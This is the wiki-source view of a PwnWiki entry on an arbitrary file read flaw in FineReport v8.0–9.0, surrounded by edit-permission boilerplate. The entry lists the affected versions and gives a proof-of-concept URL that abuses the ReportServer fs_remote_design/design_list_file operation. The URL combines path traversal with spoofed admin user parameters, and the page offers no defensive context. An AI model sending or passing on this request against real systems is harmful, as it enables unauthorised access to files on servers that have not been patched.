View source for FineReport v8.0 - 9.0 任意文件讀取漏洞/zh-cn

From PwnWiki

← FineReport v8.0 - 9.0 任意文件讀取漏洞/zh-cn

You do not have permission to edit this page, for the following reasons:

The action you have requested is limited to users in the group: Users.
This page cannot be updated manually. This page is a translation of the page FineReport v8.0 - 9.0 任意文件讀取漏洞 and the translation can be updated using the translation tool.
You must confirm your email address before editing pages. Please set and validate your email address through your user preferences.

You can view and copy the source of this page.

<languages />
==漏洞影响==
<pre>
FineReport v8.0
FineReport v9.0
</pre>

==POC==
<pre>
http://<target>/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=..&currentUserName=admin&currentUserId=1&isWebReport=true
</pre>

Return to FineReport v8.0 - 9.0 任意文件讀取漏洞/zh-cn.

Retrieved from "https://pwnwiki.com/index.php?title=FineReport_v8.0_-_9.0_任意文件讀取漏洞/zh-cn"